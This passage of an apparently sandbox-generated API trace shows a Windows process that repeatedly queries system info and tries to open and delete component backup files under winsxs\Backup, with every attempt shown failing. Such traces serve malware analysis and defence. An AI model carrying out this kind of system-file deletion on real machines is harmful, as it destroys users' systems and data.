wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.038] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add_acproxy.dll_5d65b262" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add_acproxy.dll_5d65b262"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.038] CloseHandle (hObject=0xffffffff) returned 0 [0066.038] CloseHandle (hObject=0xffffffff) returned 0 [0066.038] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add_acproxy.dll_5d65b262" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add_acproxy.dll_5d65b262")) returned 0 [0066.038] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.039] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-activexcompat_31bf3856ad364e35_8.0.7601.17514_none_6f29eb5391300db2.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-activexcompat_31bf3856ad364e35_8.0.7601.17514_none_6f29eb5391300db2.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.039] CloseHandle (hObject=0xffffffff) returned 0 [0066.039] CloseHandle (hObject=0xffffffff) returned 0 [0066.039] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-activexcompat_31bf3856ad364e35_8.0.7601.17514_none_6f29eb5391300db2.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-activexcompat_31bf3856ad364e35_8.0.7601.17514_none_6f29eb5391300db2.manifest")) returned 0 [0066.039] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.039] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.039] CloseHandle (hObject=0xffffffff) returned 0 [0066.039] CloseHandle (hObject=0xffffffff) returned 0 [0066.039] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7.manifest")) returned 0 [0066.040] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.040] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7_actxprxy.dll_82133921" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7_actxprxy.dll_82133921"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.040] CloseHandle (hObject=0xffffffff) returned 0 [0066.040] CloseHandle (hObject=0xffffffff) returned 0 [0066.040] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7_actxprxy.dll_82133921" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_703438df00e9e0d7_actxprxy.dll_82133921")) returned 0 [0066.046] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.046] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_747e69daca85f63e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_747e69daca85f63e.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.046] CloseHandle (hObject=0xffffffff) returned 0 [0066.046] CloseHandle (hObject=0xffffffff) returned 0 [0066.046] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_747e69daca85f63e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_747e69daca85f63e.manifest")) returned 0 [0066.046] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.047] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_747e69daca85f63e_advapi32.dll.mui_28c7718f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_747e69daca85f63e_advapi32.dll.mui_28c7718f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.047] CloseHandle (hObject=0xffffffff) returned 0 [0066.047] CloseHandle (hObject=0xffffffff) returned 0 [0066.047] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_747e69daca85f63e_advapi32.dll.mui_28c7718f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_747e69daca85f63e_advapi32.dll.mui_28c7718f")) returned 0 [0066.047] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.047] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7600.16385_none_3f3d4351a032bf57.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7600.16385_none_3f3d4351a032bf57.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.047] CloseHandle (hObject=0xffffffff) returned 0 [0066.047] CloseHandle (hObject=0xffffffff) returned 0 [0066.048] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7600.16385_none_3f3d4351a032bf57.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7600.16385_none_3f3d4351a032bf57.manifest")) returned 0 [0066.048] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.048] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7600.16385_none_3f3d4351a032bf57_advapi32.dll_9512793c" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7600.16385_none_3f3d4351a032bf57_advapi32.dll_9512793c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.048] CloseHandle (hObject=0xffffffff) returned 0 [0066.048] CloseHandle (hObject=0xffffffff) returned 0 [0066.048] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7600.16385_none_3f3d4351a032bf57_advapi32.dll_9512793c" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7600.16385_none_3f3d4351a032bf57_advapi32.dll_9512793c")) returned 0 [0066.048] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.049] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-agpsettings_31bf3856ad364e35_6.1.7600.16385_none_cb02d84df678436e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-agpsettings_31bf3856ad364e35_6.1.7600.16385_none_cb02d84df678436e.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.049] CloseHandle (hObject=0xffffffff) returned 0 [0066.049] CloseHandle (hObject=0xffffffff) returned 0 [0066.049] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-agpsettings_31bf3856ad364e35_6.1.7600.16385_none_cb02d84df678436e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-agpsettings_31bf3856ad364e35_6.1.7600.16385_none_cb02d84df678436e.manifest")) returned 0 [0066.049] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.049] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.049] CloseHandle (hObject=0xffffffff) returned 0 [0066.049] CloseHandle (hObject=0xffffffff) returned 0 [0066.050] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70.manifest")) returned 0 [0066.050] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.050] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70_appidapi.dll.mui_b6af37bb" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70_appidapi.dll.mui_b6af37bb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.050] CloseHandle (hObject=0xffffffff) returned 0 [0066.050] CloseHandle (hObject=0xffffffff) returned 0 [0066.050] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70_appidapi.dll.mui_b6af37bb" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70_appidapi.dll.mui_b6af37bb")) returned 0 [0066.050] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.051] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70_appidsvc.dll.mui_6717e231" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70_appidsvc.dll.mui_6717e231"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.051] CloseHandle (hObject=0xffffffff) returned 0 [0066.051] CloseHandle (hObject=0xffffffff) returned 0 [0066.051] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70_appidsvc.dll.mui_6717e231" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid.resources_31bf3856ad364e35_6.1.7600.16385_en-us_921f7aaac68bcb70_appidsvc.dll.mui_6717e231")) returned 0 [0066.051] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.051] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.051] CloseHandle (hObject=0xffffffff) returned 0 [0066.051] CloseHandle (hObject=0xffffffff) returned 0 [0066.051] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204.manifest")) returned 0 [0066.052] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.052] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appid-ppdlic.xrm-ms_67ebc09b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appid-ppdlic.xrm-ms_67ebc09b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.052] CloseHandle (hObject=0xffffffff) returned 0 [0066.052] CloseHandle (hObject=0xffffffff) returned 0 [0066.052] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appid-ppdlic.xrm-ms_67ebc09b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appid-ppdlic.xrm-ms_67ebc09b")) returned 0 [0066.052] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.052] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appid.sys_fe1d01e3" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appid.sys_fe1d01e3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.053] CloseHandle (hObject=0xffffffff) returned 0 [0066.053] CloseHandle (hObject=0xffffffff) returned 0 [0066.053] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appid.sys_fe1d01e3" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appid.sys_fe1d01e3")) returned 0 [0066.053] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.053] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidapi.dll_affa6810" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidapi.dll_affa6810"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.053] CloseHandle (hObject=0xffffffff) returned 0 [0066.053] CloseHandle (hObject=0xffffffff) returned 0 [0066.053] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidapi.dll_affa6810" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidapi.dll_affa6810")) returned 0 [0066.053] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.054] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidcertstorecheck.exe_03352f5f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidcertstorecheck.exe_03352f5f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.054] CloseHandle (hObject=0xffffffff) returned 0 [0066.054] CloseHandle (hObject=0xffffffff) returned 0 [0066.054] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidcertstorecheck.exe_03352f5f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidcertstorecheck.exe_03352f5f")) returned 0 [0066.059] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.059] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidpolicyconverter.exe_83972af0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidpolicyconverter.exe_83972af0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.059] CloseHandle (hObject=0xffffffff) returned 0 [0066.059] CloseHandle (hObject=0xffffffff) returned 0 [0066.059] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidpolicyconverter.exe_83972af0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidpolicyconverter.exe_83972af0")) returned 0 [0066.060] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.060] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidsvc.dll_b571c01a" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidsvc.dll_b571c01a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.060] CloseHandle (hObject=0xffffffff) returned 0 [0066.060] CloseHandle (hObject=0xffffffff) returned 0 [0066.060] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidsvc.dll_b571c01a" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-appid_31bf3856ad364e35_6.1.7601.18741_none_b54e921cc8e1f204_appidsvc.dll_b571c01a")) returned 0 [0066.060] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, 